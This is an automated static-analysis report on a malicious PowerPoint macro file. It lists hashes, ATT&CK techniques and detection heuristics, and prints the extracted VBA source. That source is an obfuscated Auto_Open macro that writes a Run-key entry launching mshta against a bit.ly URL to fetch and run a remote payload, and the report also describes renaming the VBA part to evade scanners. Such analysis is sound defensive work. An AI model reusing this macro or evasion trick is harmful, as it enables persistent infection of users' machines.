Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 666c9aa5d2c21f78…

MALICIOUS

Office (OOXML)

7.3 KB First seen: 2021-06-20
MD5: b269b1254123b631e853532b24f06ce4 SHA-1: ceb02e180f5eaed1e069005d48aec8d5aeb85de9 SHA-256: 666c9aa5d2c21f78617d794b0648ad2df21244c8bcedc348403f4526401384f3
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically an Auto_Open subroutine, which is a common technique for initial execution in malicious Office documents. The script reconstructs the string "https://www.bitly.com/haiajdwdijwidjwiidwjodowkwij" and writes it to the registry Run key under the name "Updater", establishing persistence. This indicates the document's purpose is to download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/haiajdwdijwidjwiidwjodowkwij In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 643 bytes
SHA-256: 2cb345d502b240fcf7f741387abd5f35ec2821a88f26062b10da91e07efc7174
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()

r = StrReverse("s")
m = StrReverse("M")
p = StrReverse("H")
tu = StrReverse("T")
x = StrReverse("""")
ha = StrReverse("a")
culik = StrReverse("""")
calc = x + m + r + p + tu + ha + culik
Const polooood = &H80000001
mamammakdkd = "."
Set kaosdkqowkdok = GetObject("winmgmts:\\" & mamammakdkd & "\root\default:StdRegProv")
kdkaskllll = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
hotagotamota = "Updater"
pipatatutupu = calc + """https://www.bitly.com/haiajdwdijwidjwiidwjodowkwij"""
kaosdkqowkdok.SetStringValue polooood, kdkaskllll, hotagotamota, pipatatutupu

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/.bin 13824 bytes
SHA-256: 04a76e662029225c92f6ce68afa84e583025031cfd414a429b7bb17609503ea8